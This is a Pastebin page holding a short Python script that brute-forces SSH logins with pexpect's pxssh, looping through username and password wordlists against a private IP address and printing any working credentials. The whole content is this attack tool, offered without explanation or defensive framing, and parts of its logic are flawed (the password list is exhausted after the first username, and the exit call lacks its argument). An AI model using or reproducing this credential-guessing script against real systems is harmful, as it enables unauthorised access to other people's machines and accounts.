Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- from pexpect import pxssh
- import os
- username_dir = '/home/william/Documents/username.txt'
- password_dir = '/home/william/Documents/passwords.txt'
- target = '192.168.62.130'
- s = pxssh.pxssh()
- def attack(target,user,_pass):
- s = pxssh.pxssh()
- print("Attacking: %s@%s/%s" % (user,target,_pass))
- try:
- if s.login(target,user,_pass):
- print("Login found!\nIP:%s Username: %s Password: %s" % (target,user,_pass))
- os._exit()
- except:
- pass
- while True:
- user_names = open(username_dir)
- pass_words = open(password_dir)
- for user in user_names.read().splitlines():
- for _pass in pass_words.read().splitlines():
- attack(target,user,_pass)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement